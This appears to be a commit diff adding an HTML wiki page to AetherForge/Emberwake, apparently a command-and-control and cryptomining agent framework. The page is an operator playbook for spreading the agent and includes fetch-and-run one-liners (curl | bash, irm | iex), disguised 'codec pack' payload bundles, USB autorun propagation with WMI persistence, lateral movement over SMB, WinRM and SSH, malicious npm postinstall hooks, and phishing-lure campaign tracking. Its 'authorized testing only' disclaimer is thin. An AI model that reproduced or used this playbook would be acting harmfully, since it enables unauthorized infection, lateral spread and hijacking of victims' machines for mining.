Release validation: tests green, USB pack, fleet UX and API hardening.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Fix macOS agent cross-compile (SilentAVExclusion) and Calibrate E2E nav selector; expand tests and docs; refresh portable usb binary and spread/wiki assets.
This commit is contained in:
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
332
server/web/public/docs/SPREAD_TECHNIQUES.html
Normal file
@@ -0,0 +1,332 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Spread Techniques — AetherForge</title>
|
||||
<link rel="stylesheet" href="wiki.css" />
|
||||
</head>
|
||||
<body>
|
||||
<div class="wiki-layout">
|
||||
<aside class="wiki-sidebar">
|
||||
<div class="wiki-sidebar-header">
|
||||
<h1>AetherForge</h1>
|
||||
<p>Spread techniques playbook</p>
|
||||
<a href="/">← Command Deck</a>
|
||||
<br />
|
||||
<a href="/emberwake" style="margin-top:0.35rem;display:inline-block;">→ Emberwake</a>
|
||||
<br />
|
||||
<a href="index.html" style="margin-top:0.35rem;display:inline-block;">→ Full wiki</a>
|
||||
</div>
|
||||
<ul class="wiki-nav">
|
||||
<li><a href="#overview">Overview</a></li>
|
||||
<li><a href="#web-waterhole">Web waterhole</a></li>
|
||||
<li><a href="#curl-bash">curl | bash VPS</a></li>
|
||||
<li><a href="#campaign-war-room">Campaign & War Room</a></li>
|
||||
<li><a href="#fusion-media">Fusion media</a></li>
|
||||
<li><a href="#usb">USB</a></li>
|
||||
<li><a href="#lan">LAN kindling</a></li>
|
||||
<li><a href="#wordpress">WordPress plugin</a></li>
|
||||
<li><a href="#npm-helper">npm postinstall</a></li>
|
||||
<li><a href="#social-funnel">Social funnel</a></li>
|
||||
<li><a href="#third-party">Third-party & gaps</a></li>
|
||||
</ul>
|
||||
</aside>
|
||||
|
||||
<main class="wiki-content">
|
||||
<section>
|
||||
<h2>Spread Techniques Playbook</h2>
|
||||
<p>
|
||||
Red-team / threat-intelligence vectors mapped to <strong>AetherForge + Emberwake</strong> capabilities.
|
||||
For <strong>authorized</strong> penetration testing, lab environments, and defensive planning only.
|
||||
Landscape as of <strong>2024–2026</strong>.
|
||||
</p>
|
||||
<p>
|
||||
Use <a href="/emberwake">Emberwake</a> for campaign builder, spread-kit export, supply-chain wizards, and
|
||||
War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
|
||||
</p>
|
||||
|
||||
<div class="spread-tab-bar" role="tablist" aria-label="Spread technique">
|
||||
<button type="button" class="spread-tab active" role="tab" data-spread-tab="overview" aria-selected="true">Overview</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="web-waterhole" aria-selected="false">Web waterhole</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="curl-bash" aria-selected="false">curl | bash</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="campaign-war-room" aria-selected="false">Campaign & War Room</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="fusion-media" aria-selected="false">Fusion media</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="usb" aria-selected="false">USB</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="lan" aria-selected="false">LAN</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="wordpress" aria-selected="false">WordPress</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="npm-helper" aria-selected="false">npm helper</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="social-funnel" aria-selected="false">Social funnel</button>
|
||||
<button type="button" class="spread-tab" role="tab" data-spread-tab="third-party" aria-selected="false">Third-party</button>
|
||||
</div>
|
||||
|
||||
<!-- Overview -->
|
||||
<div class="spread-panel active" data-spread-panel="overview" id="overview">
|
||||
<h3>What does NOT work anymore</h3>
|
||||
<div class="wiki-callout danger">
|
||||
Modern browsers require a <strong>user click + run</strong>. Silent drive-by RCE, auto-run from Downloads,
|
||||
and CRX sideload via normal download are dead paths for commodity ops.
|
||||
</div>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Why</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Silent browser RCE (visit → shell)</td><td><span class="wiki-status disabled">Dead</span></td><td>Chromium sandboxes, site isolation, removed plugins</td></tr>
|
||||
<tr><td>Auto-run from Downloads</td><td><span class="wiki-status disabled">Dead</span></td><td>SmartScreen, MoTW, user-gesture requirements</td></tr>
|
||||
<tr><td>Flash/Java plugin drive-by</td><td><span class="wiki-status disabled">Dead</span></td><td>Plugins removed or click-to-play extinct</td></tr>
|
||||
<tr><td>Unauthenticated <code>curl | bash</code> on cautious admins</td><td><span class="wiki-status partial">Hard</span></td><td>Pipe-to-shell fingerprinting; inspect-before-run mitigations</td></tr>
|
||||
<tr><td>CRX sideload via download</td><td><span class="wiki-status disabled">Dead</span></td><td>DownloadRestrictions; store policy blocks casual sideload</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<h3>AetherForge stack — has vs needs</h3>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Capability</th><th>Status</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>GET /get</code>, <code>/install.sh</code>, <code>/install.ps1</code> with <code>?pin=</code> + <code>?c=</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Spread Kit ZIP export + static lander at <code>/spread/</code></td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Emberwake campaign builder + War Room funnel</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>WordPress plugin + npm helper export wizards</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>Fusion media ZIP bundles</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>USB perpetual propagation (forge flag)</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>LAN autospread / share spread</td><td><span class="wiki-status working">Working</span></td></tr>
|
||||
<tr><td>SocGholish fake-update branded lander</td><td><span class="wiki-status stub">Stub</span></td></tr>
|
||||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||
<tr><td>OAuth redirect helper</td><td><span class="wiki-status stub">Needs</span></td></tr>
|
||||
<tr><td>Public npm/PyPI typosquat publish</td><td><span class="wiki-status disabled">Out of scope</span></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Source matrix (markdown): <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||
</div>
|
||||
|
||||
<!-- Web waterhole -->
|
||||
<div class="spread-panel" data-spread-panel="web-waterhole" id="web-waterhole" hidden>
|
||||
<h3>Web waterhole — dropper landing</h3>
|
||||
<p><span class="wiki-status working">Working</span> Owned-origin button/link → <code>/get</code> or spread-kit ZIP.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Forged build (pin optional) on your command deck</li>
|
||||
<li>Public URL in Calibrate or tunnel to deck</li>
|
||||
<li>Static host you control (same origin or Cloudflare Pages)</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Open <a href="/emberwake">Emberwake</a> → set campaign slug and pinned build.</li>
|
||||
<li>Copy dropper URL or export spread-kit ZIP.</li>
|
||||
<li>Deploy static lander — on-server copy at <a href="/spread/">/spread/</a> or upload exported kit.</li>
|
||||
<li>Link visitors to <code>{deck}/get?pin={id}&c={slug}</code> or platform-detect <code>/get</code>.</li>
|
||||
<li>Track hits in Emberwake → <a href="/emberwake#campaign-war-room">Campaign War Room</a>.</li>
|
||||
</ol>
|
||||
<h4>Platform notes</h4>
|
||||
<p>Windows: SmartScreen + MoTW on executables. Pair with code signing (<code>sign_build</code>) to reduce friction.</p>
|
||||
<a class="spread-deck-link" href="/emberwake">Open Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- curl | bash -->
|
||||
<div class="spread-panel" data-spread-panel="curl-bash" id="curl-bash" hidden>
|
||||
<h3>curl | bash — headless server drops</h3>
|
||||
<p><span class="wiki-status working">Working</span> <code>install.sh</code> / <code>install.ps1</code> one-liners for Linux/macOS/Windows Server.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Deck reachable from target VPS (TLS recommended)</li>
|
||||
<li>Linux/macOS: <strong>Web Drop</strong> forge preset or minimal headless build</li>
|
||||
<li>Windows Server: AMSI / Constrained Language may block <code>irm | iex</code></li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Campaign builder: set <code>?c=</code> slug and pin build.</li>
|
||||
<li>Copy bash / PowerShell / macOS one-liners from the builder card.</li>
|
||||
<li>Publish on first-party install docs page you operate.</li>
|
||||
<li>Agent reports <code>AETHER_CAMPAIGN</code> on connect → War Room funnel.</li>
|
||||
</ol>
|
||||
<pre><code># Linux server
|
||||
curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
|
||||
|
||||
# Windows Server
|
||||
irm https://your.site/install.ps1?pin={build_id}&c=docs | iex</code></pre>
|
||||
<a class="spread-deck-link" href="/emberwake">Copy one-liners in Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- Campaign & War Room -->
|
||||
<div class="spread-panel" data-spread-panel="campaign-war-room" id="campaign-war-room" hidden>
|
||||
<h3>Campaign links & War Room</h3>
|
||||
<p><span class="wiki-status working">Working</span> Attribution via <code>?c=slug</code> on dropper and public download URLs.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>At least one forged build</li>
|
||||
<li>Campaign slug per lure wave (e.g. <code>linkedin-bait</code>, <code>wp-my-blog</code>)</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Set campaign slug in Campaign builder; append to every dropper/public URL.</li>
|
||||
<li>Optional A/B: pin Build A vs Build B with <code>?c=slug</code> and <code>?c=slug-b</code>.</li>
|
||||
<li>Share links; War Room polls every 15s + WebSocket <code>emberwake_war_room</code>.</li>
|
||||
<li>Read funnel: hits → downloads → first beacon → mining → hashrate per slug.</li>
|
||||
</ol>
|
||||
<h4>Endpoints</h4>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Endpoint</th><th>Purpose</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>GET /get?c=</code></td><td>Platform-detect download + campaign log</td></tr>
|
||||
<tr><td><code>GET /api/v1/public/download/{id}?c=</code></td><td>Public artifact + campaign log</td></tr>
|
||||
<tr><td><code>GET /api/v1/emberwake/war-room?days=7</code></td><td>Funnel board data (auth)</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<a class="spread-deck-link" href="/emberwake#campaign-war-room">Open War Room →</a>
|
||||
</div>
|
||||
|
||||
<!-- Fusion media -->
|
||||
<div class="spread-panel" data-spread-panel="fusion-media" id="fusion-media" hidden>
|
||||
<h3>Fusion media — codec / tool download</h3>
|
||||
<p><span class="wiki-status working">Working</span> Movie or prep fusion ZIP with disguised runner names.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li><strong>Desktop Fusion</strong> spread profile or manual fusion flags at forge</li>
|
||||
<li>Themed landing page on owned site</li>
|
||||
<li>Optional: code signing to reduce SmartScreen prompts</li>
|
||||
</ul>
|
||||
<h4>Emberwake / forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Mission Deck → <strong>Desktop Fusion</strong> profile → forge universal bundle.</li>
|
||||
<li>Host fusion ZIP on themed site (“codec pack”, “portable tool”).</li>
|
||||
<li>Tag downloads with <code>?c=fusion-wave1</code> via public URL or manual campaign env.</li>
|
||||
<li>Universal bundle auto-picks <code>Deploy.bat</code> / <code>deploy.sh</code> inside spread-kit scripts.</li>
|
||||
</ol>
|
||||
<p>Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.</p>
|
||||
<a class="spread-deck-link" href="/emberwake">Tag campaign in Emberwake →</a>
|
||||
</div>
|
||||
|
||||
<!-- USB -->
|
||||
<div class="spread-panel" data-spread-panel="usb" id="usb" hidden>
|
||||
<h3>USB perpetual propagation</h3>
|
||||
<p><span class="wiki-status working">Working</span> Forge-time <strong>USB Propagation</strong> flag — not an Emberwake export.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Forge with <code>usb_spread</code> enabled (<strong>LAN Kindling</strong> profile includes USB)</li>
|
||||
<li>Physical access path to insert USB on target Windows hosts</li>
|
||||
</ul>
|
||||
<h4>How it works</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Within ~8s of USB insert: drop agent to hidden folder, write <code>autorun.inf</code>, LNK, <code>SETUP.BAT</code>.</li>
|
||||
<li>Create decoy folder; WMI subscription for future mounts.</li>
|
||||
<li>Modern Windows limits autorun — user interaction often still required.</li>
|
||||
</ol>
|
||||
<p>See wiki <a href="index.html#usb-portable">USB Portable</a> for deck-on-stick packaging.</p>
|
||||
<a class="spread-deck-link" href="/forge">Forge with USB flag →</a>
|
||||
</div>
|
||||
|
||||
<!-- LAN -->
|
||||
<div class="spread-panel" data-spread-panel="lan" id="lan" hidden>
|
||||
<h3>LAN kindling — lateral spread</h3>
|
||||
<p><span class="wiki-status working">Working</span> Universal spread kit + <code>auto_spread</code> / <code>share_spread</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li><strong>LAN Kindling</strong> spread profile at forge (universal kit + autospread)</li>
|
||||
<li>At least one patient zero on the subnet</li>
|
||||
<li>C2 auth for aggressive lateral commands (Crucible ops separate profile)</li>
|
||||
</ul>
|
||||
<h4>Emberwake / forge steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Mission Deck → <strong>LAN Kindling</strong> → forge spread-kit universal ZIP.</li>
|
||||
<li>Deploy patient zero via waterhole or curl|bash with campaign tag.</li>
|
||||
<li>Agent scans subnet (ARP-first /24 + /64) via <code>deploy/subnet.go</code>.</li>
|
||||
<li>Windows: SMB <code>admin$</code>, WinRM; Linux/macOS: SSH lateral (gated).</li>
|
||||
</ol>
|
||||
<a class="spread-deck-link" href="/emberwake">Export spread kit →</a>
|
||||
</div>
|
||||
|
||||
<!-- WordPress -->
|
||||
<div class="spread-panel" data-spread-panel="wordpress" id="wordpress" hidden>
|
||||
<h3>WordPress plugin — owned-site supply chain</h3>
|
||||
<p><span class="wiki-status working">Working</span> Export plugin ZIP from Emberwake — upload to <em>your</em> WordPress host only.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>WordPress installation you operate (not wordpress.org directory)</li>
|
||||
<li>Pinned build in Emberwake supply-chain wizard</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.</li>
|
||||
<li>Download <code>{slug}-wordpress-plugin.zip</code>.</li>
|
||||
<li>WP Admin → Plugins → Add New → Upload → Activate.</li>
|
||||
<li>Admin notice links to <code>/get?c=wp-{site}</code> on your deck.</li>
|
||||
<li>Track <code>wp-{site}</code> in War Room.</li>
|
||||
</ol>
|
||||
<h4 id="wordpress-hosting-checklist">Hosting checklist</h4>
|
||||
<ul>
|
||||
<li>Unzip locally — layout <code>{slug}/{slug}.php</code> + <code>readme.txt</code></li>
|
||||
<li>Upload ZIP via Plugins → Add New → Upload Plugin</li>
|
||||
<li>Activate on owned host; verify Tools page + admin notice URL</li>
|
||||
<li>Confirm War Room shows hits for <code>wp-{site}</code></li>
|
||||
</ul>
|
||||
<p>API: <code>POST /api/v1/builder/wordpress-plugin-export</code></p>
|
||||
<a class="spread-deck-link" href="/emberwake">Open supply-chain wizard →</a>
|
||||
</div>
|
||||
|
||||
<!-- npm helper -->
|
||||
<div class="spread-panel" data-spread-panel="npm-helper" id="npm-helper" hidden>
|
||||
<h3>npm postinstall helper — your packages only</h3>
|
||||
<p><span class="wiki-status working">Working</span> Private package template — postinstall curls your <code>install.sh</code>.</p>
|
||||
<h4>Prerequisites</h4>
|
||||
<ul>
|
||||
<li>Registry you control (private npm, Verdaccio, GitHub Packages)</li>
|
||||
<li>Authorized CI/dev environments only — <strong>not</strong> public typosquat</li>
|
||||
</ul>
|
||||
<h4>Emberwake steps</h4>
|
||||
<ol class="spread-steps">
|
||||
<li>Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.</li>
|
||||
<li>Download helper ZIP; adjust <code>package.json</code> name if needed.</li>
|
||||
<li>Publish to your registry; add as dependency in authorized projects.</li>
|
||||
<li><code>npm install</code> runs postinstall → <code>install.sh?c=…&pin=…</code>.</li>
|
||||
</ol>
|
||||
<h4 id="npm-hosting-checklist">Hosting checklist</h4>
|
||||
<ul>
|
||||
<li>Unzip npm helper template</li>
|
||||
<li>Publish with <code>npm publish --access restricted</code></li>
|
||||
<li>Add dependency in authorized pipeline only</li>
|
||||
<li>Verify agent connect + War Room campaign slug</li>
|
||||
</ul>
|
||||
<p>API: <code>POST /api/v1/builder/npm-helper-export</code></p>
|
||||
<a class="spread-deck-link" href="/emberwake">Export npm template →</a>
|
||||
</div>
|
||||
|
||||
<!-- Social funnel -->
|
||||
<div class="spread-panel" data-spread-panel="social-funnel" id="social-funnel" hidden>
|
||||
<h3>Social engineering funnel</h3>
|
||||
<p>Email / ads → owned lander → download. AetherForge maps the <strong>last mile</strong> once user reaches your origin.</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Emberwake role</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>Email → link → owned lander → download</td><td><span class="wiki-status working">Working</span></td><td><code>?c=</code> on <code>/get</code> + War Room</td></tr>
|
||||
<tr><td>A/B droppers between waves</td><td><span class="wiki-status working">Working</span></td><td>Build A vs B pins in Campaign builder</td></tr>
|
||||
<tr><td>OAuth redirect abuse</td><td><span class="wiki-status stub">Needs</span></td><td>No Entra app wizard — research only</td></tr>
|
||||
<tr><td>SEO poisoning / malvertising</td><td><span class="wiki-status stub">Needs</span></td><td>Payload can be fusion/spread-kit; no ad tooling</td></tr>
|
||||
<tr><td>HTML smuggling / IFRAME chains</td><td><span class="wiki-status stub">Needs</span></td><td>Client-side blob builder not shipped</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<a class="spread-deck-link" href="/emberwake">Build campaign links →</a>
|
||||
</div>
|
||||
|
||||
<!-- Third-party -->
|
||||
<div class="spread-panel" data-spread-panel="third-party" id="third-party" hidden>
|
||||
<h3>Third-party platforms & gaps</h3>
|
||||
<p>Techniques on infrastructure you do <em>not</em> fully control. Most require separate publish pipelines.</p>
|
||||
<table class="wiki-table">
|
||||
<thead><tr><th>Technique</th><th>Status</th><th>Notes</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td>GitHub Releases / raw CDN</td><td><span class="wiki-status partial">Partial</span></td><td>Build artifacts exist; separate release pipeline from C2 host</td></tr>
|
||||
<tr><td>S3 / Cloudflare Pages / R2</td><td><span class="wiki-status partial">Partial</span></td><td>Deploy exported spread-kit ZIP off C2; platform abuse ML risk</td></tr>
|
||||
<tr><td>npm / PyPI / Docker Hub typosquat</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Use npm helper on registries <em>you</em> own</td></tr>
|
||||
<tr><td>WordPress.org plugin compromise</td><td><span class="wiki-status disabled">Out of scope</span></td><td>Owned-site upload wizard only</td></tr>
|
||||
<tr><td>Fake browser update (SocGholish)</td><td><span class="wiki-status stub">Stub</span></td><td>Dropper works; branded HTML lander not shipped</td></tr>
|
||||
<tr><td>JS fingerprint / TDS gate</td><td><span class="wiki-status stub">Needs</span></td><td>Filter bots/geo before showing download</td></tr>
|
||||
<tr><td>Service worker / WASM redirect</td><td><span class="wiki-status stub">Needs</span></td><td>Research paths; still ends at user-run binary</td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
<p>Full research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a></p>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
</div>
|
||||
<script src="spread-techniques.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user